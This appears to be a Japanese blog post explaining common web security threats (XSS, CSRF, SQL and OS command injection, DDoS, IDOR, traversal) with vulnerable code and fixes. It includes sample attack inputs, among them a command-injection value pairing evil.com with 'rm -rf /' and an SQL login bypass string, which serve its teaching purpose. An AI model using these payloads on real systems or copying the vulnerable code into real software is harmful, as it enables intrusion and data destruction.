Webアプリケーションの主要なセキュリティ脅威と防御戦略

クロスサイトスクリプティング(XSS)

XSSは、悪意のあるスクリプトをWebページに埋め込み、閲覧者のブラウザ上で実行させる攻撃手法である。ユーザーのセッション情報の窃取や、不正な操作の実行などを引き起こす。

反射型XSS(非持続型)

攻撃者が仕掛けた悪意のあるURLをユーザーが開くことで発動する。URLのパラメータから直接スクリプトが読み込まれ、レンダリングされる脆弱性を悪用する。

例えば、以下のようなクエリパラメータを直接DOMに挿入するコードがあったとする。

// 脆弱なコード例
const params = new URLSearchParams(window.location.search);
const itemName = params.get('item');
document.write('<h2>選択中のアイテム: ' + itemName + '</h2>');

攻撃者が ?item=<script>stealSession()</script> というURLを踏ませることで、スクリプトが実行されてしまう。

防御策:

  • URLパラメータやリファラなどのクライアントサイドデータをそのままレンダリングしない。
  • evalinnerHTMLdocument.write など、文字列をコードとして実行・解釈する機能の使用を避ける。
  • やむを得ず動的描画を行う場合は、必ずHTMLエスケープ処理(<&lt; に変換など)を施す。

持続型XSS(存储型)

掲示板やコメント欄などの入力フォームを通じて、悪意のあるスクリプトがデータベースに保存される攻撃。他のユーザーが該当ページを閲覧した際に自動的にスクリプトが実行される。

この攻撃が成立する条件は以下の3点である:

  1. バックエンドが入力値をエスケープせずにDBへ保存している。
  2. バックエンドがDBから取得したデータをエスケープせずにAPIレスポンスとして返している。
  3. フロントエンドが受け取ったデータをエスケープせずにDOMに展開している。

防御策:バックエンドでの入力値検証とエスケープ、DB出力時のエスケープ、フロントエンドでのレンダリング時のエスケープなど、多層防御を実施する。

文字エンコーディングを悪用したXSS

ブラウザの自動文字コード判別機能を悪用し、エスケープフィルタを迂回する攻撃。例えばUTF-7など、特殊なエンコーディングを強制させることで、スクリプトタグとして解釈させてしまう。

防御策:

  • HTMLの <head> 内で必ず <meta charset="utf-8"> を明示的に指定する。

オープンリダイレクトXSS

リダイレクト先のURLをパラメータで受け取り、そのまま302リダイレクトを行う機能において、悪意のあるサイトへ遷移させる攻撃。

防御策:リダイレクト先のURLをホワイトリストで検証し、許可されたドメインのみに制限する。

クロスサイトリクエストフォージェリ(CSRF)

ユーザーがログイン済みのWebサービスに対し、攻撃者が用意した罠のページから意図しないリクエストを送信させる攻撃。認証状態(Cookieなど)を悪用して、ユーザーの意図しない購入や設定変更を行わせる。

攻撃成立の条件:

  1. ユーザーがターゲットサイトにログイン済みである(Cookieが有効)。
  2. ログアウトせずに攻撃者のサイトを訪問する。
  3. ターゲットサイトがCSRF対策を行っていない。

防御策:

  • 状態変更を伴う処理にはGETリクエストを使用せず、POSTリクエストを用いる。
  • フォーム送信時にランダムなCSRFトークンを埋め込み、サーバー側でその正当性を検証する。
  • Cookieに SameSite 属性を付与し、クロスサイトからの送信を制限する。
  • 重要な操作には再認証(パスワード入力やCAPTCHA)を要求する。

SQLインジェクション

ユーザー入力がSQLクエリの構築に不適切に使用され、データベースの不正操作を許してしまう脆弱性。認証の回避やデータの漏洩、場合によってはサーバー自体の乗っ取りに繋がる。

例えば、ログイン処理で以下のようなクエリを構築していたとする。

// 脆弱なクエリ構築
const query = `SELECT * FROM accounts WHERE login_id='${accountId}' AND secret_key='${accessKey}'`;

ここで攻撃者が accountId として admin' OR 'a'='a と入力した場合、クエリは以下のように変形され、パスワードなしでログインが成功してしまう。

SELECT * FROM accounts WHERE login_id='admin' OR 'a'='a' AND secret_key='...'

防御策:

  • プレースホルダ(パラメータ化クエリ)を必ず使用し、入力値をSQL文の構造の一部として解釈させない。
    // 安全なクエリ実行(Node.jsの例)
    db.query('SELECT * FROM accounts WHERE login_id = ? AND secret_key = ?', [accountId, accessKey]);
  • データベース接続ユーザーには、アプリケーションの動作に必要な最小限の権限のみを付与する。
  • 入力値のバリデーションを行い、想定外の文字やフォーマットを弾く。
  • エラーメッセージでSQLの構文エラーなどの内部情報を画面に表示しない。

OSコマンドインジェクション

Webアプリケーションが外部からの入力を用いてシェルコマンドを実行する際、攻撃者が任意のコマンドを注入・実行できてしまう脆弱性。

例えば、ユーザーが指定したURLからファイルをダウンロードする機能があったとする。

// 脆弱なコード
const { exec } = require('child_process');
const userInput = req.query.archiveUrl;
exec(`wget ${userInput} -O /tmp/archive.zip`);

攻撃者が archiveUrl として https://evil.com/mal && rm -rf / を送信すると、システムが破壊される。

防御策:

  • システムコマンドの呼び出しを避け、言語の標準ライブラリ等の安全なAPIで代替できないか検討する。
  • 入力値を厳格にバリデーションし、許可するフォーマット(正規表現など)のみ通過させる。
  • やむを得ずコマンドを実行する場合は、shell-escape などのライブラリを用いて引数を適切にエスケープする。
    const shellescape = require('shell-escape');
    const safeUrl = shellescape([userInput]);
    exec(`wget ${safeUrl} -O /tmp/archive.zip`);

DDoS攻撃(分散型サービス拒否攻撃)

大量のトラフィックやリクエストを集中させることで、サーバーのリソースを枯渇させ、サービスを正常に稼働できなくする攻撃。

ネットワーク層のDDoS

TCPの3ウェイハンドシェイクの弱点を突くSYN Floodや、大量のUDP/ICMPパケットで帯域幅を飽和させる攻撃など。

防御策:

  • ロードバランサーによるトラフィックの分散。
  • ファイアウォールやDDoS対策アプライアンスによるトラフィッククレンジング。
  • SYN Flood対策として、SYN Cookieの有効化やタイムアウト時間の短縮。
  • ICMPパンクチャの無効化(Ping禁止)。

アプリケーション層のDDoS

TCP接続確立後、HTTPリクエストとしてアプリケーションの処理リソースを消費させる攻撃。DBへの重いクエリを叩くCC攻撃や、HTTPヘッダを少しずつ送り続けてコネクションを維持するSlowlorisなどが代表的。

防御策:

  • WAF(Web Application Firewall)の導入による異常なトラフィックの遮断。
  • リクエストレートリミットの設定(IPアドレスやセッション単位)。
  • 重い処理に対するCAPTCHA認証の導入。
  • キャッシュの活用によるDB負荷の軽減。

トラフィックハイジャック

ユーザーとサーバー間の通信を第三者が傍受・改ざんする攻撃。

DNSハイジャック

DNSの名前解決を乗っ取り、ユーザーを正規のサイトではなくフィッシングサイトへ誘導する手法。ルーターの設定改ざんや、プロバイダのDNS改ざんなどで発生する。

対策:証拠保全を行い、侵害元のISPや規制当局へ通報する。

HTTPハイジャック

通信経路上のISPなどが、HTTPレスポンスを改ざんし、不正な広告などを挿入する手法。平文のHTTP通信が狙われる。

防御策:サイト全体をHTTPS化し、通信を暗号化することで改ざんを防ぐ。HSTS(HTTP Strict Transport Security)ヘッダを設定し、強制的にHTTPS接続させる。

サーバー構成・実装上の脆弱性

不正認証・越権操作(IDOR)

ユーザーAが、ユーザーBのプライベートなデータにアクセス・操作できてしまう脆弱性。

// 脆弱な実装:誰の投稿でもIDが分かれば消せる
const postId = req.params.id;
db.query('DELETE FROM posts WHERE id = ?', [postId]);

防御策:リクエストのたびに、操作対象のリソースが現在ログインしているユーザーに紐づいているかを確認する。

// 安全な実装
const userId = req.user.id;
const postId = req.params.id;
db.query('DELETE FROM posts WHERE id = ? AND author_id = ?', [postId, userId]);

ディレクトリトラバーサル

ファイルパスを指定するパラメータに ../ などの相対パス記述を注入し、サーバー内の意図しないファイル(/etc/passwd など)を読み出す攻撃。

防御策:パラメータからディレクトリ遡上を示す文字列を排除・無害化し、アクセス可能なディレクトリのホワイトリストを定義する。

物理パス漏洩

例外発生時のスタックトレースやエラーメッセージがそのままブラウザに返却され、サーバー内部のディレクトリ構造が漏洩してしまう脆弱性。

防御策:本番環境では独自の500エラーページを表示し、詳細なエラー情報はログにのみ出力するよう設定する。

ソースコード露出

静的ファイル配信の設定ミスにより、アプリケーションのソースコード自体が外部からダウンロード可能になってしまう脆弱性。

例えばExpress.jsで静的ファイルのルーティングを�って設定した場合:

// 誤った設定:プロジェクト全体が公開されてしまう
app.use('/', express.static(path.join(__dirname)));

// 正しい設定:publicディレクトリのみ公開
app.use('/assets', express.static(path.join(__dirname, 'public')));

防御策:静的ファイルとして公開するディレクトリが、ソースコードを含まないか厳格にレビュー・設定する。

タグ: XSS csrf SQLインジェクション DDoS セキュリティ

8月2日 08:02 投稿